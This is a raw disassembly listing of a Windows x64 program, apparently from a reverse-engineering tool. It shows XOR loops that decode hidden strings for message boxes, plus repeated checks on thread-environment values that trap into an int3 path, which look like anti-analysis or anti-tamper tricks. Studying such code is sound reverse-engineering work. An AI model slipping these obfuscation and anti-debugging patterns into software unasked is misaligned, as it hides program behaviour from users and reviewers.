mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
movdqa xmm0, xmmword [0x140139a50]
movdqu xmmword [rbp + 0x368], xmm0
mov word [rbp + 0x378], 1
mov r10, r14
movabs r8, 0xc2d785d02
mov r11, r12
movabs rbx, 0x8080808080808081
mov esi, 0xb7616ee1
movabs r9, 0x185af0ba04
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, rbx
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r10 + 0x368]
xor dil, r10b
mov byte [rbp + r10 + 0x368], dil
inc r10
add r8, r13
add r11, r12
cmp r8, r9
jb 0x1400788c9
mov byte [rbp + 0x379], r14b
movdqa xmm0, xmmword [0x140139d30]
movdqu xmmword [rbp + 0x758], xmm0
mov dword [rbp + 0x768], 0xcfb0a69a
mov word [rbp + 0x76c], Ordinal_217
mov r9, r14
mov esi, 0x35f6738
movabs r8, 0xf0afe188a
mov r11d, reloc.WS2_32.dll_setsockopt
movabs r10, 0x1e15fc3114
mov r15d, 0xb7616ee1
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, rbx
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r9b
xor byte [rbp + r9 + 0x758], dil
inc r9
add r8, r13
add r11, 0x15
cmp r8, r10
jb 0x14007897f
mov byte [rbp + 0x76d], r14b
xor r9d, r9d
lea r8, [rbp + 0x368]
lea rdx, [rbp + 0x758]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x49]
cmp rax, rsi
mov r15d, 0x3df3a125
jne 0x140078abf
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov eax, 0x6739bc
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov eax, 0xda6f55
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140078a9f
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140078a9f
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140078abf
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
mov rax, qword gs:[0x49]
cmp rax, rsi
jne 0x140078e86
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140078b4d
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140078b4d
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140078e86
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
mov rax, qword gs:[0x49]
cmp rax, r12
jne 0x140078c28
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov eax, 0x6739bc
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140078c08
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140078c08
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140078c28
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
movdqa xmm0, xmmword [0x140139a50]
movdqu xmmword [rbp + 0x380], xmm0
mov word [rbp + 0x390], 1
mov rdi, r14
mov ebx, 0xb7616ee1
mov qword [rsp + 0x20], rbx
mov r9d, reloc.WS2_32.dll_recvfrom
mov r8, rdi
mov dl, byte [rbp + rdi + 0x380]
lea rcx, [rbp + 0x380]
call fcn.140078fb8
xor al, dil
mov byte [rbp + rdi + 0x380], al
add rdi, rsi
cmp rdi, 0x11
jb 0x140078c49
mov byte [rbp + 0x391], r14b
movdqa xmm0, xmmword [0x140139a70]
movdqu xmmword [rbp + 0xcd8], xmm0
movdqa xmm1, xmmword [0x140139cf0]
movdqu xmmword [rbp + 0xce8], xmm1
movdqa xmm0, xmmword [0x140139ca0]
movdqu xmmword [rbp + 0xcf8], xmm0
mov dword [rbp + 0xd08], 0x13333352
mov dword [rbp + 0xd0c], 0xbf3d415
mov dword [rbp + 0xd10], 0x7961d3f9
mov word [rbp + 0xd14], Ordinal_211
mov rdi, r14
mov qword [rsp + 0x20], rbx
mov r9d, 0x3d
mov r8, rdi
mov dl, byte [rbp + rdi + 0xcd8]
lea rcx, [rbp + 0xcd8]
call fcn.140079024
xor al, dil
mov byte [rbp + rdi + 0xcd8], al
add rdi, rsi
cmp rdi, 0x3d
jb 0x140078cde
mov byte [rbp + 0xd15], r14b
xor r9d, r9d
lea r8, [rbp + 0x380]
lea rdx, [rbp + 0xcd8]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x49]
cmp rax, r12
jne 0x140078ddc
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140078dbc
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140078dbc
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140078ddc
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
mov rax, qword gs:[0x49]
cmp rax, r12
jne 0x140078e8b
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140078e66
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140078e66
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140078e8b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
mov esi, 1
mov ecx, esi
call fcn.1400df118
int3